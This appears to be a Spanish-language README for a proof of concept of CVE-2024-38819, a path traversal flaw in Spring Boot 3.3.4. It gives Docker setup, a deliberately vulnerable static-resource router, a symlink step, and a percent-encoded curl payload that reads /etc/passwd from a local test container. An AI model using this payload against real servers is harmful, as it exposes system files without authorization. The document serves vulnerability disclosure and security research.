
Prueba de concepto que demuestra una explotación de path traversal en Spring Boot 3.3.4 mediante enlace simbólico y traversal de directorios codificado en porcentaje, para investigación y educación en seguridad.
Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38819, que reporté, demostrando un exploit de path traversal.
Construye la imagen Docker (Spring Boot 3.3.4, basado en Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Ejecuta el contenedor y expón el puerto 8080 a la máquina host
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Ejecuta el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si el ataque tiene éxito, se mostrarán los contenidos del archivo /etc/passwd.
Crea PathTraversalDemoApplication.java con el siguiente código para configurar el enrutamiento de archivos estáticos usando y :
RouterFunctionFileSystemResourcepublic RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Agrega el siguiente comando al Dockerfile para crear un enlace simbólico:
RUN ln -s /static /app/static/link
Crea un payload que aproveche el codificación porcentual (percent-encoding) para atravesar directorios a través del enlace simbólico.
/static/link/%2e%2e/etc/passwdUsa el siguiente comando curl para ejecutar el PoC y verificar si el ataque tiene éxito:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si el ataque tiene éxito, se mostrarán los contenidos del archivo /etc/passwd.
Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrate de que la vulnerabilidad haya sido corregida y de que tienes la autorización adecuada. El autor no se hace responsable del mal uso de este código.